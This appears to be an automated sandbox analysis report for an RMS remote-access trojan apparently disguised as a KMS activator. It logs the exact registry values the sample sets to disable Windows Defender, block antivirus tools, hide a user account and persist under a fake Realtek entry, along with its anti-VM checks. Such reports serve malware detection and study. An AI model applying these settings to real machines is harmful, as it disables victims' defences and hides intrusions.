rms | 3611d70fd0636f5858bd4d436e75e4afc9fc8763a034254ad6d5033f4a64ef84

Modify Existing Service

Disabling Security Tools

T1089

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	GameGuard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRawWriteNotification = "1"	GameGuard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	GameGuard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	GameGuard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\RealtimeScanDirection = "2"	GameGuard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	GameGuard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	GameGuard.exe

Modifies Windows Defender notification settings 3 TTPs 2 IoCs

evasion trojan

Modify Existing Service

Modify Registry

Disabling Security Tools

T1089

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications	GameGuard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications\DisableNotifications = "1"	GameGuard.exe

RMS
Remote Manipulator System (RMS) is a remote access tool developed by Russian organization TektonIT.
trojan rat rms
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 18 IoCs

Query Registry

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	KMS Tools Unpack.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	taskhost.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	taskhostw.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	taskhostw.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	taskhostw.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	taskhostw.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	GameGuard.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	update.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	taskhostw.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	taskhostw.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	taskhostw.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	taskhostw.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	taskhostw.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	taskhostw.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	taskhostw.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	taskhostw.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	taskhostw.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	taskhostw.exe

Blocks application from running via registry modification 27 IoCs

Adds application to list of disallowed applications.

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3499517378-2376672570-1134980332-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\21 = "PANDAFREEAV.exe"	GameGuard.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3499517378-2376672570-1134980332-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\25 = "TDSSKiller.exe"	GameGuard.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3499517378-2376672570-1134980332-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\3 = "eis_trial_rus.exe"	GameGuard.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3499517378-2376672570-1134980332-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\4 = "essf_trial_rus.exe"	GameGuard.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3499517378-2376672570-1134980332-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\8 = "HitmanPro.exe"	GameGuard.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3499517378-2376672570-1134980332-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\9 = "360TS_Setup_Mini.exe"	GameGuard.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3499517378-2376672570-1134980332-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\14 = "KVRT.exe"	GameGuard.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3499517378-2376672570-1134980332-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\17 = "eset_internet_security_live_installer.exe"	GameGuard.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3499517378-2376672570-1134980332-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\15 = "cureit.exe"	GameGuard.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3499517378-2376672570-1134980332-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\19 = "eset_nod32_antivirus_live_installer.exe"	GameGuard.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3499517378-2376672570-1134980332-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\20 = "MBSetup.exe"	GameGuard.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3499517378-2376672570-1134980332-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\16 = "FRST64.exe"	GameGuard.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3499517378-2376672570-1134980332-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\1 = "eav_trial_rus.exe"	GameGuard.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3499517378-2376672570-1134980332-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\2 = "avast_free_antivirus_setup_online.exe"	GameGuard.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3499517378-2376672570-1134980332-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\12 = "AVbr.exe"	GameGuard.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3499517378-2376672570-1134980332-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun = "1"	GameGuard.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3499517378-2376672570-1134980332-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\5 = "hitmanpro_x64.exe"	GameGuard.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3499517378-2376672570-1134980332-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\6 = "ESETOnlineScanner_UKR.exe"	GameGuard.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3499517378-2376672570-1134980332-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\22 = "bitdefender_avfree.exe"	GameGuard.exe
Key created	\REGISTRY\USER\S-1-5-21-3499517378-2376672570-1134980332-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun	GameGuard.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3499517378-2376672570-1134980332-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\11 = "Cube.exe"	GameGuard.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3499517378-2376672570-1134980332-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\24 = "Cureit.exe"	GameGuard.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3499517378-2376672570-1134980332-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\13 = "AV_br.exe"	GameGuard.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3499517378-2376672570-1134980332-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\18 = "esetonlinescanner.exe"	GameGuard.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3499517378-2376672570-1134980332-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\7 = "ESETOnlineScanner_RUS.exe"	GameGuard.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3499517378-2376672570-1134980332-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\10 = "Cezurity_Scanner_Pro_Free.exe"	GameGuard.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3499517378-2376672570-1134980332-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\23 = "drweb-12.0-ss-win.exe"	GameGuard.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	taskhostw.exe

Modifies Windows Firewall 1 TTPs 8 IoCs

Modify Existing Service

pid	Process
1616	netsh.exe
1764	netsh.exe
1664	netsh.exe
624	netsh.exe
2180	netsh.exe
1612	netsh.exe
1740	netsh.exe
1088	netsh.exe

Sets DLL path for service in the registry 2 TTPs 1 IoCs

Registry Run Keys / Startup Folder

T1060

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\TermService\Parameters\ServiceDll = "%ProgramFiles%\\RDP Wrapper\\rdpwrap.dll"	RDPWinst.exe

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

Checks BIOS information in registry 2 TTPs 36 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	taskhostw.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	taskhostw.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	taskhost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	taskhostw.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	taskhostw.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	taskhostw.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	taskhostw.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	taskhostw.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	taskhostw.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	GameGuard.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	taskhost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	taskhostw.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	taskhostw.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	taskhostw.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	taskhostw.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	taskhostw.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	update.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	taskhostw.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	taskhostw.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	taskhostw.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	KMS Tools Unpack.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	update.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	taskhostw.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	taskhostw.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	taskhostw.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	KMS Tools Unpack.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	taskhostw.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	taskhostw.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	taskhostw.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	taskhostw.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	taskhostw.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	GameGuard.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	taskhostw.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	taskhostw.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	taskhostw.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	taskhostw.exe

Checks computer location settings 2 TTPs 28 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3499517378-2376672570-1134980332-1000\Control Panel\International\Geo\Nation	winserv.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3499517378-2376672570-1134980332-1000\Control Panel\International\Geo\Nation	winserv.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3499517378-2376672570-1134980332-1000\Control Panel\International\Geo\Nation	winserv.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3499517378-2376672570-1134980332-1000\Control Panel\International\Geo\Nation	winserv.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3499517378-2376672570-1134980332-1000\Control Panel\International\Geo\Nation	winserv.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3499517378-2376672570-1134980332-1000\Control Panel\International\Geo\Nation	winserv.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3499517378-2376672570-1134980332-1000\Control Panel\International\Geo\Nation	winserv.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3499517378-2376672570-1134980332-1000\Control Panel\International\Geo\Nation	winserv.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3499517378-2376672570-1134980332-1000\Control Panel\International\Geo\Nation	winserv.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3499517378-2376672570-1134980332-1000\Control Panel\International\Geo\Nation	winserv.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3499517378-2376672570-1134980332-1000\Control Panel\International\Geo\Nation	winserv.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3499517378-2376672570-1134980332-1000\Control Panel\International\Geo\Nation	winserv.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3499517378-2376672570-1134980332-1000\Control Panel\International\Geo\Nation	winserv.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3499517378-2376672570-1134980332-1000\Control Panel\International\Geo\Nation	winserv.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3499517378-2376672570-1134980332-1000\Control Panel\International\Geo\Nation	winserv.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3499517378-2376672570-1134980332-1000\Control Panel\International\Geo\Nation	winserv.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3499517378-2376672570-1134980332-1000\Control Panel\International\Geo\Nation	winserv.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3499517378-2376672570-1134980332-1000\Control Panel\International\Geo\Nation	winserv.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3499517378-2376672570-1134980332-1000\Control Panel\International\Geo\Nation	winserv.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3499517378-2376672570-1134980332-1000\Control Panel\International\Geo\Nation	winserv.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3499517378-2376672570-1134980332-1000\Control Panel\International\Geo\Nation	winserv.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3499517378-2376672570-1134980332-1000\Control Panel\International\Geo\Nation	winserv.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3499517378-2376672570-1134980332-1000\Control Panel\International\Geo\Nation	winserv.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3499517378-2376672570-1134980332-1000\Control Panel\International\Geo\Nation	winserv.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3499517378-2376672570-1134980332-1000\Control Panel\International\Geo\Nation	winserv.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3499517378-2376672570-1134980332-1000\Control Panel\International\Geo\Nation	winserv.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3499517378-2376672570-1134980332-1000\Control Panel\International\Geo\Nation	winserv.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3499517378-2376672570-1134980332-1000\Control Panel\International\Geo\Nation	winserv.exe

Executes dropped EXE 55 IoCs

pid	Process
2032	install.exe
584	KMS.exe
1472	GameGuard.exe
1808	update.exe
2120	Game.exe
2216	net1.exe
2244	taskhostw.exe
2448	taskhost.exe
2464	svchost.exe
2648	smss.exe
2620	IP.exe
2844	winserv.exe
2952	winserv.exe
2080	winserv.exe
1728	taskhost.exe
2284	RDPWinst.exe
2916	winserv.exe
1824	taskhostw.exe
2656	winserv.exe
3016	taskhostw.exe
2876	winserv.exe
2160	winserv.exe
2460	taskhostw.exe
520	winserv.exe
696	winserv.exe
1932	winserv.exe
1624	taskhostw.exe
1204	winserv.exe
1904	winserv.exe
2548	taskhostw.exe
608	winserv.exe
2428	winserv.exe
976	taskhostw.exe
320	winserv.exe
2468	winserv.exe
1400	taskhostw.exe
2860	winserv.exe
3028	winserv.exe
1440	taskhostw.exe
288	winserv.exe
1612	winserv.exe
2448	taskhostw.exe
524	winserv.exe
2388	winserv.exe
2560	taskhostw.exe
2164	winserv.exe
3024	winserv.exe
3004	taskhostw.exe
1732	winserv.exe
1752	taskhostw.exe
892	winserv.exe
1916	winserv.exe
560	taskhostw.exe
2476	winserv.exe
2336	winserv.exe

Loads dropped DLL 7 IoCs

pid	Process
2032	install.exe
2032	install.exe
2120	Game.exe
2120	Game.exe
2464	svchost.exe
2464	svchost.exe
2124	svchost.exe

Themida packer 64 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral7/memory/2020-54-0x000000013F360000-0x00000001401DD000-memory.dmp	themida
behavioral7/memory/2020-55-0x000000013F360000-0x00000001401DD000-memory.dmp	themida
behavioral7/memory/2020-56-0x000000013F360000-0x00000001401DD000-memory.dmp	themida
behavioral7/memory/2020-57-0x000000013F360000-0x00000001401DD000-memory.dmp	themida
behavioral7/memory/2020-58-0x000000013F360000-0x00000001401DD000-memory.dmp	themida
behavioral7/memory/2020-59-0x000000013F360000-0x00000001401DD000-memory.dmp	themida
behavioral7/memory/2020-60-0x000000013F360000-0x00000001401DD000-memory.dmp	themida
behavioral7/memory/2020-61-0x000000013F360000-0x00000001401DD000-memory.dmp	themida
behavioral7/memory/2020-72-0x000000013F360000-0x00000001401DD000-memory.dmp	themida
behavioral7/memory/2020-75-0x000000013F360000-0x00000001401DD000-memory.dmp	themida
behavioral7/files/0x00080000000139fc-87.dat	themida
behavioral7/files/0x00080000000139fc-91.dat	themida
behavioral7/memory/2020-92-0x000000013F360000-0x00000001401DD000-memory.dmp	themida
behavioral7/files/0x0007000000013a0c-93.dat	themida
behavioral7/files/0x0007000000013a0c-96.dat	themida
behavioral7/files/0x0007000000013a0c-95.dat	themida
behavioral7/files/0x00080000000139fc-89.dat	themida
behavioral7/memory/1472-98-0x000000013F9A0000-0x0000000140F29000-memory.dmp	themida
behavioral7/files/0x00080000000139fc-99.dat	themida
behavioral7/memory/1472-100-0x000000013F9A0000-0x0000000140F29000-memory.dmp	themida
behavioral7/memory/1472-101-0x000000013F9A0000-0x0000000140F29000-memory.dmp	themida
behavioral7/memory/1472-102-0x000000013F9A0000-0x0000000140F29000-memory.dmp	themida
behavioral7/memory/1472-103-0x000000013F9A0000-0x0000000140F29000-memory.dmp	themida
behavioral7/memory/1472-104-0x000000013F9A0000-0x0000000140F29000-memory.dmp	themida
behavioral7/memory/1472-105-0x000000013F9A0000-0x0000000140F29000-memory.dmp	themida
behavioral7/memory/1472-106-0x000000013F9A0000-0x0000000140F29000-memory.dmp	themida
behavioral7/files/0x0007000000013a0c-107.dat	themida
behavioral7/memory/1472-109-0x000000013F9A0000-0x0000000140F29000-memory.dmp	themida
behavioral7/memory/1808-110-0x000000013FAE0000-0x0000000140AE0000-memory.dmp	themida
behavioral7/memory/1808-111-0x000000013FAE0000-0x0000000140AE0000-memory.dmp	themida
behavioral7/memory/1808-112-0x000000013FAE0000-0x0000000140AE0000-memory.dmp	themida
behavioral7/memory/1808-115-0x000000013FAE0000-0x0000000140AE0000-memory.dmp	themida
behavioral7/memory/1472-114-0x000000013F9A0000-0x0000000140F29000-memory.dmp	themida
behavioral7/memory/1808-116-0x000000013FAE0000-0x0000000140AE0000-memory.dmp	themida
behavioral7/memory/1808-118-0x000000013FAE0000-0x0000000140AE0000-memory.dmp	themida
behavioral7/memory/1808-119-0x000000013FAE0000-0x0000000140AE0000-memory.dmp	themida
behavioral7/memory/1472-122-0x000000013F9A0000-0x0000000140F29000-memory.dmp	themida
behavioral7/memory/1472-124-0x000000013F9A0000-0x0000000140F29000-memory.dmp	themida
behavioral7/memory/1808-125-0x000000013FAE0000-0x0000000140AE0000-memory.dmp	themida
behavioral7/memory/1472-139-0x000000013F9A0000-0x0000000140F29000-memory.dmp	themida
behavioral7/memory/1808-141-0x000000013FAE0000-0x0000000140AE0000-memory.dmp	themida
behavioral7/files/0x0007000000014690-158.dat	themida
behavioral7/files/0x0007000000014690-162.dat	themida
behavioral7/files/0x000600000001469f-163.dat	themida
behavioral7/files/0x000600000001469f-165.dat	themida
behavioral7/files/0x000600000001469f-166.dat	themida
behavioral7/files/0x0007000000014690-160.dat	themida
behavioral7/memory/2216-167-0x000000013FC20000-0x00000001428DF000-memory.dmp	themida
behavioral7/memory/1808-169-0x000000013FAE0000-0x0000000140AE0000-memory.dmp	themida
behavioral7/files/0x000600000001469f-170.dat	themida
behavioral7/memory/2244-171-0x000000013F0E0000-0x0000000142463000-memory.dmp	themida
behavioral7/memory/2244-172-0x000000013F0E0000-0x0000000142463000-memory.dmp	themida
behavioral7/memory/2244-173-0x000000013F0E0000-0x0000000142463000-memory.dmp	themida
behavioral7/memory/2216-174-0x000000013FC20000-0x00000001428DF000-memory.dmp	themida
behavioral7/memory/2244-175-0x000000013F0E0000-0x0000000142463000-memory.dmp	themida
behavioral7/memory/2244-176-0x000000013F0E0000-0x0000000142463000-memory.dmp	themida
behavioral7/memory/2244-178-0x000000013F0E0000-0x0000000142463000-memory.dmp	themida
behavioral7/memory/2244-180-0x000000013F0E0000-0x0000000142463000-memory.dmp	themida
behavioral7/files/0x0007000000014690-187.dat	themida
behavioral7/files/0x0007000000014690-191.dat	themida
behavioral7/memory/2020-190-0x000000013F360000-0x00000001401DD000-memory.dmp	themida
behavioral7/memory/1808-194-0x000000013FAE0000-0x0000000140AE0000-memory.dmp	themida
behavioral7/memory/2244-196-0x000000013F0E0000-0x0000000142463000-memory.dmp	themida
behavioral7/memory/2448-197-0x000000013F670000-0x000000014232F000-memory.dmp	themida

Adds Run key to start application 2 TTPs 2 IoCs

Registry Run Keys / Startup Folder

T1060

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	taskhostw.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Realtek HD Audio = "C:\\ProgramData\\RealtekHD\\taskhostw.exe"	taskhostw.exe

Checks whether UAC is enabled 1 TTPs 19 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	KMS Tools Unpack.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	taskhost.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	taskhostw.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	taskhostw.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	taskhostw.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	GameGuard.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	taskhost.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	taskhostw.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	taskhostw.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	taskhostw.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	taskhostw.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	taskhostw.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	taskhostw.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	taskhostw.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	taskhostw.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	update.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	taskhostw.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	taskhostw.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	taskhostw.exe

Modifies WinLogon 2 TTPs 4 IoCs

Winlogon Helper DLL

T1004

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts	GameGuard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\John = "0"	GameGuard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AllowMultipleTSSessions = "1"	RDPWinst.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList	GameGuard.exe

AutoIT Executable 50 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral7/memory/2020-56-0x000000013F360000-0x00000001401DD000-memory.dmp	autoit_exe
behavioral7/memory/2020-57-0x000000013F360000-0x00000001401DD000-memory.dmp	autoit_exe
behavioral7/memory/2020-58-0x000000013F360000-0x00000001401DD000-memory.dmp	autoit_exe
behavioral7/memory/2020-59-0x000000013F360000-0x00000001401DD000-memory.dmp	autoit_exe
behavioral7/memory/2020-60-0x000000013F360000-0x00000001401DD000-memory.dmp	autoit_exe
behavioral7/memory/2020-61-0x000000013F360000-0x00000001401DD000-memory.dmp	autoit_exe
behavioral7/memory/2020-72-0x000000013F360000-0x00000001401DD000-memory.dmp	autoit_exe
behavioral7/memory/2020-75-0x000000013F360000-0x00000001401DD000-memory.dmp	autoit_exe
behavioral7/memory/2020-92-0x000000013F360000-0x00000001401DD000-memory.dmp	autoit_exe
behavioral7/memory/1472-101-0x000000013F9A0000-0x0000000140F29000-memory.dmp	autoit_exe
